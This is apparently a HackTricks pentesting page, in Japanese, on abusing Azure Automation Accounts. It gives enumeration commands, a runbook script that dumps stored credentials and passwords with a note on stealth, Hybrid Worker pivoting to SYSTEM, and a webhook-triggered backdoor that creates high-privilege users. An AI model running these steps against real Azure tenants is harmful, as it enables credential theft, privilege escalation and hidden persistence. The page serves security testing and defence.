Az - Automation Account

HackTricksのサポート

基本情報

公式ドキュメントから: Azure Automationは、クラウドベースの自動化、オペレーティングシステムの更新、および構成サービスを提供し、Azure環境と非Azure環境全体で一貫した管理をサポートします。プロセスの自動化、構成管理、更新管理、共有機能、異種機能が含まれます。

これらはAzureの中での「スケジュールされたタスク」のようなもので、Azure環境を管理、チェック、構成するためにアクションやスクリプトを実行できます。

Run As アカウント

Run as Accountを使用すると、Azure ADに自己署名証明書を持つアプリケーションが作成され、サービスプリンシパルが作成され、現在のサブスクリプションのアカウントにContributorロールが割り当てられます(多くの権限)。 MicrosoftはAutomation AccountにはManaged Identityの使用を推奨しています。

これは2023年9月30日に削除され、Managed Identitiesに変更されます。

Runbooks & Jobs

Runbooksを使用すると、任意のPowerShellコードを実行できます。これは、攻撃者が添付されたプリンシパルの権限を盗むために悪用される可能性があります。 Runbooksコードには、資格情報などの機密情報が含まれている場合があります。

ジョブ読むことができれば、実行の出力(潜在的な機密情報)が含まれているので、確認してください。

Automation Accountsに移動 --> <Automation Accountを選択> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections

Hybrid Worker

Runbookは、Azure内のコンテナまたはHybrid Worker(非Azureマシン)で実行できます。 VMにはLog Analytics Agentが展開され、ハイブリッドワーカーとして登録されます。 ハイブリッドワーカージョブは、WindowsではSYSTEM、Linuxではnxautomationアカウントで実行されます。 各ハイブリッドワーカーはハイブリッドワーカーグループに登録されます。

したがって、Windows Hybrid WorkerRunbookを実行することを選択できれば、外部マシンでSystemとして任意のコマンドを実行できます(素敵なピボットテクニック)。

Compromise State Configuration (SC)

公式ドキュメントから: Azure Automation State Configurationは、Azure構成管理サービスであり、任意のクラウドやオンプレミスデータセンターのノードに対してPowerShell Desired State Configuration (DSC) configurationsを記述、管理、コンパイルできるサービスです。このサービスはDSC Resourcesをインポートし、構成をターゲットノードに割り当て、すべてクラウド上で行います。AzureポータルでAzure Automation State Configurationにアクセスするには、Configuration Managementの下の**State configuration (DSC)**を選択します。

これらの構成には機密情報が含まれている可能性があります。

RCE

SCを悪用して、管理されたマシンで任意のスクリプトを実行することが可能です。

Az - State Configuration RCE

列挙

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

ランブックの作成

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

ランブックを使用してAutomation Accountで定義された資格情報と変数を外部に送信します

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

同じことを行うことができますが、既存の実行ブックを変更して、Webコンソールからも行うことができます。

自動化された高権限ユーザー作成の設定手順

1. Automation Accountの初期化

  • 必要なアクション: 新しいAutomation Accountを作成します。

  • 特定の設定: "Azure Run Asアカウントの作成"が有効になっていることを確認します。

2. Runbookのインポートと設定

  • ソース: MicroBurst GitHubリポジトリ からサンプルランブックをダウンロードします。

  • 必要なアクション:

  • ランブックをAutomation Accountにインポートします。

  • ランブックを公開して実行可能にします。

  • ランブックにWebhookをアタッチして、外部トリガーを有効にします。

3. AzureADモジュールの構成

  • 必要なアクション: AzureADモジュールをAutomation Accountに追加します。

  • 追加のステップ: すべてのAzure Automationモジュールが最新バージョンに更新されていることを確認します。

4. 権限の割り当て

  • 割り当てるロール:

  • ユーザー管理者

  • サブスクリプション所有者

  • 対象: Automation Accountにこれらのロールを割り当てて、必要な権限を付与します。

5. アクセス損失の可能性への認識

  • 注意: このような自動化の設定は、サブスクリプションの管理権限を失う可能性があることに注意してください。

6. ユーザー作成のトリガー

  • Webhookをトリガーして、POSTリクエストを送信して新しいユーザーを作成します。

  • 提供されたPowerShellスクリプトを使用し、$uriを実際のWebhook URLに置き換え、$AccountInfoを希望のユーザー名とパスワードに更新してください。

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

参照

HackTricksのサポート

Last updated